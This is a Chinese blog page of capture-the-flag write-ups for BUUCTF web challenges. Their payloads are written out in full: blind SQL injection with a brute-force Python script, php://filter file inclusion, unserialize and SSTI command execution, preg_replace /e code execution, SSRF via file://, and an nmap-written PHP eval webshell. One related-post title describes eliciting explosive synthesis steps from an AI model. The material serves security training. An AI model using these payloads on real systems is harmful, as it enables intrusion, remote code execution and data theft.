BUUCTF-WEB详细解题攻略第二页(按解出数降序排序)正在更新


[CISCN2019 华北赛区 Day2 Web1]Hack World


步骤1:启动靶机并测试页面功能

  1. 点击BUUCTF页面中的启动靶机按钮

  2. 复制生成的靶机地址(格式如http://node4.buuoj.cn:28080/

  3. 在浏览器中访问该地址

页面功能测试

  • 输入1提交 → 返回:Hello, glzjin wants a girlfriend.

  • 输入2提交 → 返回:Hello, glzjin wants a girlfriend too.

  • 输入3提交 → 返回:Error Occured When Fetch Result.

  • 输入1'提交 → 返回:bool(false)

原理说明

页面通过id参数查询数据库,不同的id值返回不同结果。输入单引号触发了SQL注入检测,说明存在SQL注入漏洞,且SQL语句使用单引号闭合。


步骤2:确认SQL注入点与注入类型

测试注入类型

这道题没有直接的数据库内容回显,只有两种有效返回结果(正常/错误),因此属于布尔盲注。布尔盲注的核心是:构造条件语句,根据页面返回结果判断条件是否成立。


步骤3:测试过滤规则并找到绕过方法

过滤测试

依次输入以下内容测试过滤规则:

  • 1 and 1=1 → 返回SQL Injection Checked.(空格和and被过滤)

  • 1or1=1 → 返回SQL Injection Checked.or被过滤)

  • 1 union select 1 → 返回SQL Injection Checked.unionselect被过滤)

  • if(1=1,1,2) → 返回正常结果(if函数和=未被过滤)

关键绕过方法

这道题的过滤规则是过滤单独的关键字 ,但关键字后紧跟括号时不会被过滤。例如:

  • select会被过滤,但select(flag)不会被过滤

  • from会被过滤,但from(flag)不会被过滤

因此我们可以使用select(字段)from(表名)的格式绕过关键字过滤。


步骤4:构造布尔盲注Payload

核心Payload格式

复制代码
if((select(substr(flag,{位置},1))from(flag))='{字符}',1,2)

Payload原理

  1. if(条件, 真结果, 假结果):SQL中的条件函数,如果条件成立返回真结果,否则返回假结果

  2. select(substr(flag,{位置},1))from(flag):从flag表的flag字段中截取第{位置}位的1个字符

  3. 如果截取的字符等于{字符},则返回1,页面显示Hello, glzjin wants a girlfriend.

  4. 如果不相等,则返回2,页面显示Hello, glzjin wants a girlfriend too.

测试Payload有效性

输入if((select(substr(flag,1,1))from(flag))='f',1,2)提交,返回正常结果,说明Flag的第一个字符确实是f,Payload有效。


步骤5:编写Python脚本自动化爆破Flag

前置准备

安装requests库:

复制代码
pip install requests

完整爆破脚本

注意:当某个字段爆破失败需要将已经得到的前n位+手动加的'-'填入脚本相应位置再进行爆破。

复制代码
import requests
import time
​
# 只改这里的靶机地址
url = "http://6137c7e9-08b9-4f5a-9318-ff4d20ed4f57.node5.buuoj.cn:81/"
​
# 🔥 把你已经得到的前n位+手动加的'-'填在这里
# 例如:flag = "flag{1234567890ab-"
flag = "flag{73ac7cab-61ed-494b-be4f-"
​
# 🔥 把'-'移到最前面,优先测试横杠,避免卡壳
charset = "-flag{}0123456789abcdef"
​
print("=" * 50)
print("🚀 继续爆破,已优化横杠检测")
print(f"📝 当前已获取:{flag}")
print("=" * 50)
print()
​
# 从当前长度+1开始
for pos in range(len(flag) + 1, 50):
    print(f"🔍 正在爆破第{pos}位...")
​
    while True:
        found = False
        for char in charset:
            payload = f"if((select(substr(flag,{pos},1))from(flag))='{char}',1,2)"
​
            # 增加重试次数和间隔
            for _ in range(5):
                try:
                    r = requests.post(url, data={"id": payload}, timeout=15)
                    break
                except:
                    time.sleep(2)
            else:
                continue
​
            if "Hello" in r.text:
                flag += char
                print(f"✅ 第{pos}位:{char}")
                print(f"📌 当前Flag:{flag}")
                print()
                found = True
                break
​
        if found:
            break
        else:
            print(f"⚠️  第{pos}位暂时没找到,休息5秒后重试...")
            time.sleep(5)
​
    if flag.endswith('}'):
        break
​
    # 增加每个字符后的延迟
    time.sleep(1)
​
print("=" * 50)
print("🎉 爆破完成!")
print(f"🏆 最终Flag:{flag}")
print("=" * 50)

脚本原理

  1. 遍历Flag的每个字符位置(从1开始)

  2. 对每个位置,遍历字符集中的所有可能字符

  3. 构造Payload并发送请求,根据页面返回结果判断字符是否正确

  4. 将正确的字符拼接成完整的Flag

[BSidesCF 2020] Had a bad day

考点 :PHP 文件包含漏洞、php://filter伪协议、路径插入绕过

难度:入门级(反套路,容易踩坑)


一、完整解题流程

步骤 1:启动靶机并发现漏洞

  1. 启动靶机,访问靶机地址,看到一个展示动物图片的页面

  2. 观察 URL 结构:http://xxx/index.php?category=animals

  3. 点击页面上的 "WOOFERS" 和 "MEOWERS" 按钮,URL 分别变为:

    • ?category=woofers

    • ?category=meowers

  4. 确认category参数是文件包含点,后端会自动包含{参数}.php文件

步骤 2:测试并发现真实过滤规则

  1. 尝试输入任意字符串:?category=test

  2. 页面返回提示:Sorry, we currently only support woofers and meowers.

    3.得出结论:参数必须包含woofersmeowersindex中的一个(白名单过滤)

步骤 3:构造绕过 Payload 读取源码

利用php://filter伪协议的特性:路径中可以插入任意目录名,会被自动忽略

复制代码
?category=php://filter/convert.base64-encode/index/resource=index
  • 在伪协议中间插入/index/,满足 "必须包含 index" 的过滤条件

  • 成功获取index.php的 base64 编码源码

步骤 4:读取 flag.php 获取 Flag

复制代码
?category=php://filter/convert.base64-encode/index/resource=flag
  • 将得到的 base64 字符串解码,即可看到完整 Flag:flag{be6c140f-a113-4790-93e3-c6f2be02084c}


二、核心原理详解

1. 后端真实过滤代码

复制代码
<?php
$file = $_GET['category'];
if(isset($file))
{
    // 核心过滤:必须包含三个字符串中的一个
    if( strpos( $file, "woofers" ) !==  false 
        || strpos( $file, "meowers" ) !==  false 
        || strpos( $file, "index") !== false ){
        include ($file . '.php'); // 自动添加.php后缀
    }
    else{
        echo "Sorry, we currently only support woofers and meowers.";
    }
}
?>

2. 绕过原理

  • php://filter伪协议的路径解析非常灵活,中间的任意目录名都会被忽略

  • php://filter/convert.base64-encode/index/resource=flag

  • 等价于:php://filter/convert.base64-encode/resource=flag

  • 但同时满足了 "参数中包含 index" 的过滤条件

[网鼎杯 2020 朱雀组] phpweb

一、基础信息

  1. 页面参数func(函数名)、p(函数参数)

  2. 传参方式$_REQUEST 接收,GET/POST 都支持(直接浏览器地址栏传参即可)

  3. 核心功能 :后端调用 gettime(函数, 参数) 执行用户传入的函数


二、详细解题步骤

步骤 1:读取源码

Payload

复制代码
?func=file_get_contents&p=index.php

步骤 2:构造反序列化 Payload

本地生成 Test 类序列化字符串,执行命令读取 flag

复制代码
<?php
class Test{
    var $p;
    var $func;
}
$a = new Test();
$a->func = "system";
$a->p = "cat /tmp/flagoefiu4r93";
echo serialize($a);
?>

生成结果:

复制代码
O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

步骤 3:执行 Payload,获取 Flag

最终可用 Payload(直接复制到地址栏)

复制代码
?func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

步骤 4:执行结果

页面直接输出 Flag:flag{eed27067-6ce4-4f00-a4a4-fba7015e6579}

[BJDCTF2020] The mystery of ip

一、题目核心分析

访问靶机页面,显示 Your IP is : 192.168.122.15,可得出两个关键结论:

  1. 页面显示的 IP 不是真实访问 IP,而是从请求头中读取的。

  2. 这类题通常通过 X-Forwarded-For 请求头伪造 IP,服务器会解析该请求头的内容并输出到页面。


二、步骤 1:抓包验证 IP 可控

  1. 打开 Burp Suite,开启 Intercept 拦截(显示 "Intercept is on"),浏览器代理指向 Burp(默认 127.0.0.1:8080)。

  2. 浏览器访问靶机地址,请求会被 Burp 拦截。

  3. 在请求头中添加 X-Forwarded-For: 123,点击 Forward 放包,页面 IP 变为 123,确认 IP 由该请求头控制。


三、步骤 2:验证 SSTI 模板注入漏洞

Smarty 模板的特点是可以解析 {表达式} 格式的语法,直接在页面执行计算 / 命令:

  1. 再次抓包,修改请求头为:

    复制代码
    X-Forwarded-For: {7*7}
  2. 放包后,页面 IP 变为 49,证明服务器解析了模板语法,存在 SSTI 注入漏洞。


四、步骤 3:构造 Payload 并执行

1. 最终 Payload

复制代码
X-Forwarded-For: {system('cat /flag')}

2. 完整请求包参考

复制代码
GET /flag.php HTTP/1.1
Host: node5.buuoj.cn:29560
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node5.buuoj.cn:29560/flag.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
X-Forwarded-For: {system('cat /flag')}
​
(这里是空行,分隔请求头和请求体,不要删除!)

五、步骤 4:放包获取 Flag

  1. 确认请求头修改正确后,点击 Burp 的 Forward 按钮放行请求。

  2. 浏览器页面会显示执行结果,Flag 会出现在 IP 显示的位置;如果浏览器有缓存,可以按 Ctrl+Shift+R 强制刷新,或者直接在 Burp 的 Response 标签页查看服务器返回的完整内容。

[BJDCTF2020] ZJCTF,不过如此

一、题目核心逻辑拆解(主页面源码)

启动靶机后,主页面的 PHP 核心代码如下:

复制代码
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1><br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }
    include($file);  //关键漏洞点:文件包含
}
else{
    highlight_file(__FILE__);
}
?>

三个关键规则(必须全部满足)

  1. text 参数校验file_get_contents($text) 读取的内容必须等于字符串 I have a dream,否则不会进入文件包含逻辑。

  2. file 参数过滤$file 中不能包含 flag 字符串,否则直接退出(所以不能直接包含 flag 文件)。

  3. 文件包含漏洞 :满足条件后,会执行 include($file),我们需要利用它包含 next.php 来拿到后续的漏洞点。


二、步骤 1:绕过 text 参数校验(用 data:// 伪协议)

问题:怎么让file_get_contents($text)等于I have a dream

直接传字符串不行,因为file_get_contents默认是读文件路径,所以用 data://伪协议 ,直接在 URL 里嵌入数据,让file_get_contents读取我们传入的内容。

Payload:

复制代码
?text=data://text/plain,I have a dream
  • data://text/plain,:伪协议前缀,表示后面的内容是纯文本数据

  • I have a dream:我们要传入的内容,刚好满足校验条件

效果:页面会输出<h1>I have a dream</h1>,证明 text 条件通过了。


三、步骤 2:读取 next.php 的源码(用 php://filter 伪协议)

问题:直接include(next.php)只会执行代码,看不到源码怎么办?

php://filter伪协议,把 next.php 的源码转成 base64 编码输出,解码后就能拿到完整源码。

Payload:

复制代码
?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
  • php://filter/read=convert.base64-encode/resource=next.php:读取 next.php 的源码,转成 base64 输出

  • 解码后得到next.php的核心代码:

复制代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
​
function complex($re, $str) {
    // preg_replace的/e模式:会把替换后的内容当作PHP代码执行
    return preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
}
​
// 关键循环:遍历所有GET参数,参数名作为正则$re,参数值作为字符串$str
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
​
function getFlag(){
    @eval($_GET['cmd']); // 命令执行点:eval($_GET['cmd'])
}
?>

四、步骤 3:触发 preg_replace/e 模式漏洞,执行命令

漏洞原理

preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str) 中的 /e 模式,是 PHP 的危险特性:

  1. $re:正则表达式(来自 GET 参数的参数名

  2. $str:要匹配的字符串(来自 GET 参数的参数值

  3. $re匹配到$str时,会用strtolower("\\1")替换匹配到的内容,\\1会引用正则捕获的分组内容,被当作 PHP 代码执行

触发方式:用匹配任意字符的正则作为参数名

我们需要让$re能匹配到$str(也就是${getFlag()}),所以用\S*(匹配任意非空白字符)作为参数名,这样正则/\S*/ei就能匹配整个字符串,触发替换。

最终完整 Payload:

复制代码
?text=data://text/plain,I have a dream&file=next.php&cmd=system('cat /flag');&\S*=${getFlag()}

每个参数的作用:

  1. text=data://text/plain,I have a dream:过主页面的 text 校验

  2. file=next.php:包含 next.php,执行里面的代码

  3. cmd=system('cat /flag'):给eval传入要执行的命令,读取 flag 文件

复制代码
&\S*=${getFlag()}

:触发 preg_replace/e 模式

  • 参数名\S*:正则/\S*/ei,匹配任意非空白字符

  • 参数值${getFlag()}:被正则匹配后,会被strtolower("\\1")解析为 PHP 代码,调用getFlag()函数,进而执行eval($_GET['cmd'])

[网鼎杯 2018]Fakebook

打开靶场,看到注册登录界面

用dirsearch目录爆破,发现这个文件,尝试访问

看到这个文件,访问下载

打开文件看一下

注意到get方法里面存在curl_exec(),可能这道题为ssrf漏洞利用

也注意到isValidBlog()方法的正则匹配,判断出传入的blog参数值必须为url形式

建一个账号

进入账号,发现no参数

尝试sql注入

由于注意到bak文件中,age被强转为int,所以这边采用数字型注入方法,报错,但是显示出了view.php的路径,由此可以判断flag.php的路径为 /var/www/html/flag.php

?no=1 and 1=1回显正常,判断存在sql注入

order by判断字段数

试的5报错

试的4回显正常 所以字段数为4

union联合查询

复制代码
?no=1 union select 1,2,3,database()

显示no hack_,判断存在字段过滤

select没被过滤

union也没被过滤

union和select均没有被过滤,但是两个加在一起就被过滤,由此可以判断union select被过滤,这边采用/\**/注释绕过

复制代码
?no=-1 union/**/select 1,2,3,4

成功绕过,看到username回显正常,判断username为回显位置,为2

查询当前数据库

复制代码
?no=-1 union/**/select 1,database(),3,4

库名为fakebook

爆库

复制代码
?no=-1 union/**/select 1,group_concat(schema_name),3,4 from information_schema.schemata

fakebook就是我们要的库,爆表

复制代码
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"

爆字段

复制代码
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"

查数据

复制代码
?no=-1 union/**/select 1,concat(no,"\n",username,"\n",passwd,"\n",data),3,4 from users

注意到data字段里面的数据为刚刚我们join的数据的序列化形式

构造payload时这边改成file:///var/www/html/flag.php要更改长度为29

复制代码
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

访问变正常,查看源代码得到一个base64编码,复制

进行解码得到flag

【BUUCTF】Online Tool

一、基础信息

  • 题目:Online Tool

  • 核心原理:绕过滤 → 用 nmap 写木马文件 → 蚁剑连接拿 flag

  • 我们用到 nmap 的一个写文件功能,直接复制 Payload 即可

二、完整操作步骤

步骤 1:启动靶机,获取网址

  1. 打开题目页面,点击 启动靶机

  2. 访问靶机地址(格式:http://xxxx.buuoj.cn:81/

步骤 2:写入木马文件

  1. 把下面的 Payload 拼接到你的靶机网址后面

  2. 完整访问地址(直接复制,替换成你的靶机地址):

复制代码
http://你的靶机地址/?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
  1. 访问后,页面会显示一行文字:

    复制代码
    you are in sandbox xxxxxxxxxxxxxxxxxxxx
  • 中间这串 乱码一样的字符串 是目录名,复制保存好

步骤 3:找到木马文件的访问地址

拼接规则:

复制代码
你的靶机地址/复制的目录名/hack.php

示例:

复制代码
http://xxxx.buuoj.cn:80/1a2b3c4d5e6f7g8h9i0j/hack.php
  • 访问这个地址,页面空白 = 写入成功!

步骤 4:打开蚁剑,连接木马

  1. 打开蚁剑 → 空白处右键 → 添加数据

  2. 填写配置:

    • URL 地址:粘贴步骤 3 的木马地址

    • 连接密码 :填 hack

    • 其他全部默认,不用改

  3. 点击 测试连接 → 显示 连接成功 → 点添加

步骤 5:蚁剑内读取 flag

  • 连接成功后,蚁剑会列出sandbox目录下的文件,双击进入文件管理器。

  • 可以直接在蚁剑的终端中执行命令:

复制代码
cat /flag
  • 或在文件浏览器中,找到根目录下的flag文件,双击查看内容。
相关推荐
@insist12313 小时前
信息安全工程师-大数据安全核心知识点与备考指南-终章
安全·软考·信息安全工程师·软件水平考试
祁白_13 小时前
PHP无参RCE
web安全·php·ctf·writeup
txg66613 小时前
网络安全领域简报(2026-05-17—2026-05-24)
深度学习·安全·网络安全
你觉得脆皮鸡好吃吗13 小时前
HTTP 状态码体系 (AI)
网络·安全·web安全
韦胖漫谈IT13 小时前
敏感信息泄露 - 大语言模型 OWASP TOP 10系列
人工智能·安全·语言模型·自然语言处理
李白你好13 小时前
一个面向安全团队、渗透测试、资产侦察、威胁追踪和红队编排的 AI CLI
人工智能·安全
ylscode1 天前
微软Exchange Server曝高危零日漏洞:朝鲜黑客利用“Toast攻击“入侵企业邮件系统
网络·安全·web安全
code_li1 天前
雷池WAF:轻松拦截网络攻击
安全·攻击·攻防·技术·防护
阿部多瑞 ABU1 天前
ADRO实战:用渐进式诱导“聊出”TATP完整合成路线——某国产大模型红队测试实录
安全·ai